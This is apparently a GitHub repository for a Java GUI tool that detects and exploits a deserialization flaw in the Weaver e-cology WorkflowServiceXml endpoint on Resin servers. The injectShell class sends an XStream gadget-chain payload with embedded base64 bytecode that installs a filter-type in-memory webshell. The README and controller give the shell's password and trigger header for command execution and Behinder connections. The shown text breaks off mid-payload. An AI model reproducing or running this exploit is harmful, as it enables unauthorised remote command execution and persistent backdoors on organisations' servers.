├── .gitignore
├── README.md
├── img
├── Snipaste_2021-08-31_01-45-59.png
├── Snipaste_2021-08-31_01-47-28.png
└── Snipaste_2021-08-31_21-22-25.png
├── pom.xml
├── src
└── main
│ ├── java
│ ├── sample
│ │ ├── Controller.java
│ │ └── Main.java
│ └── top
│ │ └── ten7
│ │ ├── checkVul.java
│ │ └── injectShell.java
│ └── resources
│ └── sample
│ └── sample.fxml
└── target
└── classes
└── sample
└── sample.fxml
/.gitignore:
--------------------------------------------------------------------------------
1 | ### Java template
2 | # Compiled class file
3 | *.class
4 |
5 | # Log file
6 | *.log
7 |
8 | # BlueJ files
9 | *.ctxt
10 |
11 | # Mobile Tools for Java (J2ME)
12 | .mtj.tmp/
13 |
14 | # Package Files #
15 | *.jar
16 | *.war
17 | *.nar
18 | *.ear
19 | *.zip
20 | *.tar.gz
21 | *.rar
22 |
23 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
24 | hs_err_pid*
25 |
26 | ### JetBrains template
27 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
28 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
29 |
30 | # User-specific stuff
31 | .idea/**/workspace.xml
32 | .idea/**/tasks.xml
33 | .idea/**/usage.statistics.xml
34 | .idea/**/dictionaries
35 | .idea/**/shelf
36 |
37 | # Generated files
38 | .idea/**/contentModel.xml
39 |
40 | # Sensitive or high-churn files
41 | .idea/**/dataSources/
42 | .idea/**/dataSources.ids
43 | .idea/**/dataSources.local.xml
44 | .idea/**/sqlDataSources.xml
45 | .idea/**/dynamic.xml
46 | .idea/**/uiDesigner.xml
47 | .idea/**/dbnavigator.xml
48 |
49 | # Gradle
50 | .idea/**/gradle.xml
51 | .idea/**/libraries
52 |
53 | # Gradle and Maven with auto-import
54 | # When using Gradle or Maven with auto-import, you should exclude module files,
55 | # since they will be recreated, and may cause churn. Uncomment if using
56 | # auto-import.
57 | # .idea/artifacts
58 | # .idea/compiler.xml
59 | # .idea/jarRepositories.xml
60 | # .idea/modules.xml
61 | # .idea/*.iml
62 | # .idea/modules
63 | # *.iml
64 | # *.ipr
65 |
66 | # CMake
67 | cmake-build-*/
68 |
69 | # Mongo Explorer plugin
70 | .idea/**/mongoSettings.xml
71 |
72 | # File-based project format
73 | *.iws
74 |
75 | # IntelliJ
76 | out/
77 |
78 | # mpeltonen/sbt-idea plugin
79 | .idea_modules/
80 |
81 | # JIRA plugin
82 | atlassian-ide-plugin.xml
83 |
84 | # Cursive Clojure plugin
85 | .idea/replstate.xml
86 |
87 | # Crashlytics plugin (for Android Studio and IntelliJ)
88 | com_crashlytics_export_strings.xml
89 | crashlytics.properties
90 | crashlytics-build.properties
91 | fabric.properties
92 |
93 | # Editor-based Rest Client
94 | .idea/httpRequests
95 |
96 | # Android studio 3.1+ serialized cache file
97 | .idea/caches/build_file_checksums.ser
98 |
99 | .idea
100 | JavaFxApplication.iml
101 | target
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WorkflowServiceXml-Exploit
2 |
3 | 此工具为泛微8,泛微9使用```resin```中间件时针对 ```WorkflowServiceXml``` 反序列化漏洞的检测跟利用工具,利用支持一键打入filter型内存马
4 |
5 |
6 |
7 | 内存马支持 cmd 回显及冰蝎
8 |
9 | 使用cmd回显时 POST 提交 ```type=basic&pass=[cmd]``` 来执行命令
10 |
11 |
12 |
13 | 连接冰蝎时,shell路径可以随意设置,但需增加 ```X-Options-Ai``` 请求头,shell密码为rebeyond
14 |
15 |
--------------------------------------------------------------------------------
/img/Snipaste_2021-08-31_01-45-59.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/7ten7/WorkflowServiceXml-Exploit/f0d90eef526ff2a1f3f10189b7c7e5b37dbfe06d/img/Snipaste_2021-08-31_01-45-59.png
--------------------------------------------------------------------------------
/img/Snipaste_2021-08-31_01-47-28.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/7ten7/WorkflowServiceXml-Exploit/f0d90eef526ff2a1f3f10189b7c7e5b37dbfe06d/img/Snipaste_2021-08-31_01-47-28.png
--------------------------------------------------------------------------------
/img/Snipaste_2021-08-31_21-22-25.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/7ten7/WorkflowServiceXml-Exploit/f0d90eef526ff2a1f3f10189b7c7e5b37dbfe06d/img/Snipaste_2021-08-31_21-22-25.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | groupId
8 | JavaFxApplication
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 | com.squareup.okhttp3
18 | okhttp
19 | 4.9.1
20 |
21 |
22 |
23 |
24 |
25 | org.apache.maven.plugins
26 | maven-compiler-plugin
27 |
28 | 1.8
29 | 1.8
30 |
31 |
32 |
33 | org.apache.maven.plugins
34 | maven-assembly-plugin
35 |
36 |
37 | package
38 |
39 | single
40 |
41 |
42 |
43 |
44 |
45 | jar-with-dependencies
46 |
47 |
48 |
49 | true
50 | false
51 | lib/
52 | sample.Main
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
--------------------------------------------------------------------------------
/src/main/java/sample/Controller.java:
--------------------------------------------------------------------------------
1 | package sample;
2 |
3 | import javafx.event.ActionEvent;
4 | import javafx.fxml.FXML;
5 | import javafx.fxml.Initializable;
6 | import javafx.scene.control.Button;
7 | import javafx.scene.control.TextArea;
8 | import javafx.scene.control.TextField;
9 | import top.ten7.checkVul;
10 | import top.ten7.injectShell;
11 |
12 | import java.io.IOException;
13 | import java.net.URL;
14 | import java.util.ResourceBundle;
15 |
16 | public class Controller implements Initializable {
17 |
18 | @FXML
19 | private Button check;
20 | @FXML
21 | private Button inject;
22 | @FXML
23 | private TextField url;
24 | @FXML
25 | private TextArea print;
26 | private boolean flag = false;
27 | private String originalUrl;
28 |
29 |
30 | public void checkButtonClick(ActionEvent event) {
31 | originalUrl = url.getText();
32 | checkVul checkVul = new checkVul(originalUrl);
33 | try {
34 | if (checkVul.check()){
35 | this.flag = true;
36 | print.setText("目标存在漏洞,请点击利用按钮来注入内存马!");
37 | }else {
38 | print.setText("目标不存在漏洞,请检查输入的地址是否正确!");
39 | }
40 | } catch (IOException e) {
41 | print.setText("网络连接异常,请检查网站连通性!");
42 | }
43 | }
44 |
45 |
46 |
47 | public void injectButtonClick(ActionEvent event){
48 | originalUrl = url.getText();
49 | injectShell injectShell = new injectShell(originalUrl);
50 | try {
51 | if (flag && injectShell.inject()){
52 | String message = "内存马注入成功!\r\n访问任意不存在地址即可连接冰蝎内存马"+"\r\n密码:rebeyond\r\n访问时增加HTTP请求头:X-Options-Ai";
53 | print.setText(message);
54 | }else if(!flag){
55 | print.setText("请先检测漏洞是否存在!");
56 | }else {
57 | print.setText("注入失败,请确认目标中间件类型是否为 resin");
58 | }
59 | } catch (IOException e) {
60 | print.setText("网络连接异常,请检查网站连通性!");
61 | }
62 | }
63 |
64 |
65 |
66 | @Override
67 | public void initialize(URL location, ResourceBundle resources) {
68 |
69 | }
70 |
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/src/main/java/sample/Main.java:
--------------------------------------------------------------------------------
1 | package sample;
2 |
3 | import javafx.application.Application;
4 | import javafx.fxml.FXMLLoader;
5 | import javafx.scene.Parent;
6 | import javafx.scene.Scene;
7 | import javafx.stage.Stage;
8 |
9 | public class Main extends Application {
10 |
11 | @Override
12 | public void start(Stage primaryStage) throws Exception{
13 | Parent root = FXMLLoader.load(getClass().getResource("sample.fxml"));
14 | primaryStage.setTitle("WorkflowServiceXml-Exploit");
15 | primaryStage.setScene(new Scene(root, 600, 400));
16 | primaryStage.show();
17 | }
18 |
19 |
20 | public static void main(String[] args) {
21 | launch(args);
22 | }
23 | }
--------------------------------------------------------------------------------
/src/main/java/top/ten7/checkVul.java:
--------------------------------------------------------------------------------
1 | package top.ten7;
2 |
3 | import okhttp3.OkHttpClient;
4 | import okhttp3.Request;
5 | import okhttp3.Response;
6 |
7 | import java.io.IOException;
8 | import java.util.concurrent.TimeUnit;
9 |
10 | public class checkVul {
11 | private final OkHttpClient client;
12 | private final String url;
13 |
14 | public checkVul(String url){
15 | this.url = parsUrl(url);
16 | this.client = new OkHttpClient().newBuilder().connectTimeout(5, TimeUnit.SECONDS).build();
17 | }
18 |
19 | public boolean check() throws IOException {
20 | Request request = new Request.Builder().url(url+"services%20/WorkflowServiceXml").build();
21 | Response response = client.newCall(request).execute();
22 | String responseBody = response.body().string();
23 | if ((response.code()!=404) && (responseBody.indexOf("Invalid SOAP request")!=-1)){
24 | return true;
25 | }else {
26 | return false;
27 | }
28 | }
29 |
30 | public String parsUrl(String url){
31 | final String original = url;
32 | if (!url.startsWith("http://") && !url.startsWith("https://")) {
33 | url = "http://" + original;
34 | }
35 | if (!url.endsWith("/")) {
36 | url += "/";
37 | }
38 | return url;
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/top/ten7/injectShell.java:
--------------------------------------------------------------------------------
1 | package top.ten7;
2 |
3 | import okhttp3.*;
4 |
5 | import java.io.IOException;
6 | import java.util.concurrent.TimeUnit;
7 |
8 | public class injectShell {
9 | private String url;
10 | private OkHttpClient client;
11 | public injectShell(String url){
12 | this.url = parsUrl(url)+"services%20/WorkflowServiceXml";
13 | this.client = new OkHttpClient().newBuilder().connectTimeout(5, TimeUnit.SECONDS).build();
14 | }
15 | public boolean inject() throws IOException {
16 | StringBuilder xml = new StringBuilder();
17 | xml.append("\n" +
18 | " \n" +
19 | " \n" +
20 | " \n" +
21 | " ");
22 | xml.append("<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="org.apache.commons.beanutils.BeanComparator">
<property>outputProperties</property>
<comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
</comparator>
</default>
<int>3</int>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAugoAKgBhCgBiAGMKAGIAZAgAZQgAZgoACABnCABoBwBpBwBqCgAIAGsKAAgAbAcAbQoAbgBvBwBGBwBwCABxCAByBwBzCgAMAHQIAHUHAHYIAHcJAHgAeQoACAB6CgBuAHsKAHgAfAoAfQB+BwB/CgAcAGEIAIAKABwAgQoACACCCgAcAIMKABwAhAoAfQCFCgAcAIYKAFQAhwgAiAoAVACJCgB9AIoHAIsHAIwHAI0BAARqYWt5AQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACJMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajE7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAI4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEABWJ5dGVzAQACW0IBAAZjbGF6ejIBAAdkZWNvZGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQACZXMBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAljb2RlQ2xhc3MBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAXcBACFMY29tL2NhdWNoby9zZXJ2ZXIvd2ViYXBwL1dlYkFwcDsBAAdtYXBwaW5nAQAqTGNvbS9jYXVjaG8vc2VydmVyL2Rpc3BhdGNoL0ZpbHRlck1hcHBpbmc7AQADdXJsBwCPAQAKVVJMUGF0dGVybgEADElubmVyQ2xhc3NlcwEANUxjb20vY2F1Y2hvL3NlcnZlci9kaXNwYXRjaC9GaWx0ZXJNYXBwaW5nJFVSTFBhdHRlcm47AQAQY2xhenpDbGFzc0xvYWRlcgEAAmNsAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAA1TdGFja01hcFRhYmxlBwB2BwBqBwBwAQAKU291cmNlRmlsZQEADVRlc3RPYmoxLmphdmEMAC4ALwcAkAwAkQCSDACTAJQBGeR5djY2dmdBQUFESUJKZ29BU3dDT0NBQ1BDUUF4QUpBSUFKRUpBREVBa2dnQWt3a0FNUUNVQ2dCTEFKVUtBRXNBbGdnQWx3c0FtQUNaQ0FDYUNnQVJBSnNLQUJFQW5Ba0FuUUNlQ0FDZkJ3Q2dDQUNoQ0FDaUNBQmtDQUNqQndDa0NnQ2xBS1lLQUtVQXB3b0FxQUNwQ2dBV0FLb0lBS3NLQUJZQXJBb0FGZ0N0Q3dDdUFLOEtBTEFBc1FjQXNnc0FJQUN6Q3dBZ0FMUUhBTFVLQUNNQWpnZ0F0Z3NBdHdDNENBQzVDQUJvQ0FDNkN3QzdBTHdJQUwwS0FMNEF2d2NBd0FvQUVRREJDZ0F0QU1JS0FMNEF3d2NBeEFvQVJBREZDZ0JDQU1ZS0FERUFsUXNBbUFESENnRElBTWtLQURFQXlnb0F2Z0RMQ2dBeEFNd0tBRUlBelFvQVJBQ2JCd0RPQ2dBOEFNOExBTkFBMFFnQTBnb0FRZ0RUQ0FEVUJ3RFZDZ0JDQU5ZSEFOY0tBTmdBMlFjQVhnZ0EyZ2dBMndjQTNBZ0EzUWNBM2djQTN3RUFBMUIzWkFFQUVreHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR0poYzJsalEyMWtVMmhsYkd4UWQyUUJBQk5pWldocGJtUmxjbE5vWld4c1NHVmhaR1Z5QVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQXhNUTJ4dmRXUnhkV1Z5ZVRzQkFCb29UR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzcFZnRUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQVdjQkFCVW9XMElwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFGaUFRQUNXMElCQUFoa2IwWnBiSFJsY2dFQVd5aE1hbUYyWVhndmMyVnlkbXhsZEM5VFpYSjJiR1YwVW1WeGRXVnpkRHRNYW1GMllYZ3ZjMlZ5ZG14bGRDOVRaWEoyYkdWMFVtVnpjRzl1YzJVN1RHcGhkbUY0TDNObGNuWnNaWFF2Um1sc2RHVnlRMmhoYVc0N0tWWUJBQVJqYldSekFRQVRXMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBQm5KbGMzVnNkQUVBQTJOdFpBRUFGVXhxWVhaaGVDOWpjbmx3ZEc4dlEybHdhR1Z5T3dFQUFXVUJBQlZNYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2YmpzQkFBZHpaWE56YVc5dUFRQWdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnpjMmx2YmpzQkFBTnZZbW9CQUE5TWFtRjJZUzkxZEdsc0wwMWhjRHNCQUFOeVpYRUJBQjVNYW1GMllYZ3ZjMlZ5ZG14bGRDOVRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBUnlaWE53QVFBZlRHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBQldOb1lXbHVBUUFiVEdwaGRtRjRMM05sY25ac1pYUXZSbWxzZEdWeVEyaGhhVzQ3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBb0FjQVlnY0F4QWNBNEFjQTRRY0E0Z2NBNHdjQTVBY0F6Z0VBQ2tWNFkyVndkR2x2Ym5NSEFPVUhBT1lCQUF4aVlYTmxOalJFWldOdlpHVUJBQllvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1Z0Q0FRQUZZMnhoZW5vQkFCRk1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFCbU5zWVhwNk1nRUFCMlJsWTI5a1pYSUJBQkpNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFOemRISUJBQVJwYm1sMEFRQWZLRXhxWVhaaGVDOXpaWEoyYkdWMEwwWnBiSFJsY2tOdmJtWnBaenNwVmdFQURHWnBiSFJsY2tOdmJtWnBad0VBSEV4cVlYWmhlQzl6WlhKMmJHVjBMMFpwYkhSbGNrTnZibVpwWnpzQkFBZGtaWE4wY205NUFRQUtVMjkxY21ObFJtbHNaUUVBSkVOc2IzVmtjWFZsY25rdWFtRjJZU0JtY205dElFbHVjSFYwUm1sc1pVOWlhbVZqZEF3QVVRQlNBUUFRWlRRMVpUTXlPV1psWWpWa09USTFZZ3dBVFFCT0FRQUVjR0Z6Y3d3QVR3Qk9BUUFNV0MxUGNIUnBiMjV6TFVGcERBQlFBRTRNQUZFQVdBd0E1d0RvQVFBRWRIbHdaUWNBNEF3QTZRRHFBUUFGWW1GemFXTU1BT3NBN0F3QTdRRHVCd0R2REFEd0FFNEJBQUV2QVFBUWFtRjJZUzlzWVc1bkwxTjBjbWx1WndFQUJ5OWlhVzR2YzJnQkFBSXRZd0VBQWk5REFRQVJhbUYyWVM5MWRHbHNMMU5qWVc1dVpYSUhBUEVNQVBJQTh3d0E5QUQxQndEMkRBRDNBUGdNQUZFQStRRUFBbHhCREFENkFQc01BUHdBL1FjQTRRd0EvZ0QvQndFQURBRUJBUUlCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMERBRURBT29NQVFRQkJRRUFFV3BoZG1FdmRYUnBiQzlJWVhOb1RXRndBUUFIY21WeGRXVnpkQWNBNUF3QkJnRUhBUUFJY21WemNHOXVjMlVCQUFGMUJ3RGpEQUVJQVFrQkFBTkJSVk1IQVFvTUFRc0JEQUVBSDJwaGRtRjRMMk55ZVhCMGJ5OXpjR1ZqTDFObFkzSmxkRXRsZVZOd1pXTU1BUTBCRGd3QVVRRVBEQUNIQVJBQkFBcERiRzkxWkhGMVpYSjVEQUVSQVJJTUFSTUJGQXdCRlFFV0J3RVhEQUVZQVAwTUFIOEFnQXdCR1FFYURBQmJBRndNQVJzQkhBRUFFMnBoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjRNQVIwQVVnY0E0Z3dBWHdFZUFRQVdjM1Z1TG0xcGMyTXVRa0ZUUlRZMFJHVmpiMlJsY2d3Qkh3RWdBUUFNWkdWamIyUmxRblZtWm1WeUFRQVBhbUYyWVM5c1lXNW5MME5zWVhOekRBRWhBU0lCQUJCcVlYWmhMMnhoYm1jdlQySnFaV04wQndFakRBRWtBU1VCQUJCcVlYWmhMblYwYVd3dVFtRnpaVFkwQVFBS1oyVjBSR1ZqYjJSbGNnRUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBQm1SbFkyOWtaUUVBRldwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNnRUFGR3BoZG1GNEwzTmxjblpzWlhRdlJtbHNkR1Z5QVFBY2FtRjJZWGd2YzJWeWRteGxkQzlUWlhKMmJHVjBVbVZ4ZFdWemRBRUFIV3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEZKbGMzQnZibk5sQVFBWmFtRjJZWGd2YzJWeWRteGxkQzlHYVd4MFpYSkRhR0ZwYmdFQUhtcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWemMybHZiZ0VBRFdwaGRtRXZkWFJwYkM5TllYQUJBQk5xWVhaaEwybHZMMGxQUlhoalpYQjBhVzl1QVFBZWFtRjJZWGd2YzJWeWRteGxkQzlUWlhKMmJHVjBSWGhqWlhCMGFXOXVBUUFMWkdWbWFXNWxRMnhoYzNNQkFCY29XMEpKU1NsTWFtRjJZUzlzWVc1bkwwTnNZWE56T3dFQURHZGxkRkJoY21GdFpYUmxjZ0VBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUdaWEYxWVd4ekFRQVZLRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxhQVFBSGFYTkZiWEIwZVFFQUF5Z3BXZ0VBREdwaGRtRXZhVzh2Um1sc1pRRUFDWE5sY0dGeVlYUnZjZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFSYW1GMllTOXNZVzVuTDFCeWIyTmxjM01CQUE1blpYUkpibkIxZEZOMGNtVmhiUUVBRnlncFRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFZS0V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE95bFdBUUFNZFhObFJHVnNhVzFwZEdWeUFRQW5LRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOTFkR2xzTDFOallXNXVaWEk3QVFBRWJtVjRkQUVBRkNncFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUpaMlYwVjNKcGRHVnlBUUFYS0NsTWFtRjJZUzlwYnk5UWNtbHVkRmR5YVhSbGNqc0JBQk5xWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5QVFBSGNISnBiblJzYmdFQUZTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BWZ0VBQ1dkbGRFaGxZV1JsY2dFQUNtZGxkRk5sYzNOcGIyNEJBQ0lvS1V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sYzNOcGIyNDdBUUFEY0hWMEFRQTRLRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPMHhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFod2RYUldZV3gxWlFFQUp5aE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dE1hbU");
23 | xml.append("YyWVM5c1lXNW5MMDlpYW1WamREc3BWZ0VBRTJwaGRtRjRMMk55ZVhCMGJ5OURhWEJvWlhJQkFBdG5aWFJKYm5OMFlXNWpaUUVBS1NoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUY0TDJOeWVYQjBieTlEYVhCb1pYSTdBUUFJWjJWMFFubDBaWE1CQUFRb0tWdENBUUFYS0Z0Q1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQmNvU1V4cVlYWmhMM05sWTNWeWFYUjVMMHRsZVRzcFZnRUFDR2RsZEVOc1lYTnpBUUFUS0NsTWFtRjJZUzlzWVc1bkwwTnNZWE56T3dFQURtZGxkRU5zWVhOelRHOWhaR1Z5QVFBWktDbE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUNXZGxkRkpsWVdSbGNnRUFHaWdwVEdwaGRtRXZhVzh2UW5WbVptVnlaV1JTWldGa1pYSTdBUUFXYW1GMllTOXBieTlDZFdabVpYSmxaRkpsWVdSbGNnRUFDSEpsWVdSTWFXNWxBUUFIWkc5R2FXNWhiQUVBQmloYlFpbGJRZ0VBQzI1bGQwbHVjM1JoYm1ObEFRQVVLQ2xNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUE5d2NtbHVkRk4wWVdOclZISmhZMlVCQUVBb1RHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEZKbGMzQnZibk5sT3lsV0FRQUhabTl5VG1GdFpRRUFKU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFsblpYUk5aWFJvYjJRQkFFQW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdXMHhxWVhaaEwyeGhibWN2UTJ4aGMzTTdLVXhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdBUUFZYW1GMllTOXNZVzVuTDNKbFpteGxZM1F2VFdWMGFHOWtBUUFHYVc1MmIydGxBUUE1S0V4cVlYWmhMMnhoYm1jdlQySnFaV04wTzF0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FDRUFNUUJMQUFFQVRBQURBQUlBVFFCT0FBQUFBZ0JQQUU0QUFBQUNBRkFBVGdBQUFBY0FBUUJSQUZJQUFRQlRBQUFBVVFBQ0FBRUFBQUFYS3JjQUFTb1NBclVBQXlvU0JMVUFCU29TQnJVQUI3RUFBQUFDQUZRQUFBQVdBQVVBQUFBT0FBUUFEd0FLQUJBQUVBQVJBQllBRWdCVkFBQUFEQUFCQUFBQUZ3QldBRmNBQUFBQkFGRUFXQUFCQUZNQUFBQmNBQUlBQWdBQUFCZ3FLN2NBQ0NvU0FyVUFBeW9TQkxVQUJTb1NCclVBQjdFQUFBQUNBRlFBQUFBV0FBVUFBQUFWQUFVQUZnQUxBQmNBRVFBWUFCY0FHUUJWQUFBQUZnQUNBQUFBR0FCV0FGY0FBQUFBQUJnQVdRQmFBQUVBQVFCYkFGd0FBUUJUQUFBQVBRQUVBQUlBQUFBSktpc0RLNzYzQUFtd0FBQUFBZ0JVQUFBQUJnQUJBQUFBSEFCVkFBQUFGZ0FDQUFBQUNRQldBRmNBQUFBQUFBa0FYUUJlQUFFQUFRQmZBR0FBQWdCVEFBQUNmQUFHQUFjQUFBRkxLeElLdVFBTEFnREdBSkVyRWdxNUFBc0NBQklNdGdBTm1RQ0JLeXEwQUFXNUFBc0NBRG9FR1FUR0FHMFpCTFlBRHBvQVpRRTZCYklBRHhJUXRnQU5tUUFiQnIwQUVWa0RFaEpUV1FRU0UxTlpCUmtFVXpvRnB3QVlCcjBBRVZrREVoUlRXUVFTRlZOWkJSa0VVem9GdXdBV1diZ0FGeGtGdGdBWXRnQVp0d0FhRWh1MkFCeTJBQjA2Qml5NUFCNEJBQmtHdGdBZnB3QzBLOEFBSUNxMEFBZTVBQ0VDQU1ZQW5DdkFBQ0M1QUNJQkFEb0V1d0FqV2JjQUpEb0ZHUVVTSlN1NUFDWURBRmNaQlJJbkxMa0FKZ01BVnhrRkVpZ1pCTGtBSmdNQVZ4a0VFaWtxdEFBRHVRQXFBd0FTSzdnQUxEb0dHUVlGdXdBdFdTcTBBQU8yQUM0U0s3Y0FMN1lBTUxzQU1Wa3F0Z0F5dGdBenR3QTBHUVlxSzdrQU5RRUF0Z0EydGdBM3RnQTR0Z0E1dGdBNkdRVzJBRHRYcHdBS09nWVpCcllBUGFjQUN5MHJMTGtBUGdNQXNRQUJBTjhCTlFFNEFEd0FBd0JVQUFBQWFnQWFBQUFBSUFBYkFDRUFKd0FpQURRQUl3QTNBQ1FBUWdBbEFGb0FLQUJ2QUNvQWl3QXJBSllBTFFDWkFDNEFxUUF2QUxRQU1BQzlBREVBeUFBeUFOTUFNd0RmQURVQTdBQTJBUE1BTndFSkFEZ0JOUUE4QVRnQU9nRTZBRHNCUHdBOUFVSUFQd0ZLQUVFQVZRQUFBSEFBQ3dBM0FGOEFZUUJpQUFVQWl3QUxBR01BVGdBR0FDY0Fid0JrQUU0QUJBRHpBRUlBV1FCbEFBWUJPZ0FGQUdZQVp3QUdBTFFBaXdCb0FHa0FCQUM5QUlJQWFnQnJBQVVBQUFGTEFGWUFWd0FBQUFBQlN3QnNBRzBBQVFBQUFVc0FiZ0J2QUFJQUFBRkxBSEFBY1FBREFISUFBQUF4QUFqOUFGb0hBSE1IQUhRVStRQW1BdjhBbmdBR0J3QjFCd0IyQndCM0J3QjRCd0I1QndCNkFBRUhBSHY1QUFZQ0J3QjhBQUFBQmdBQ0FIMEFmZ0FCQUg4QWdBQUNBRk1BQUFEMkFBWUFCUUFBQUhJU1A3Z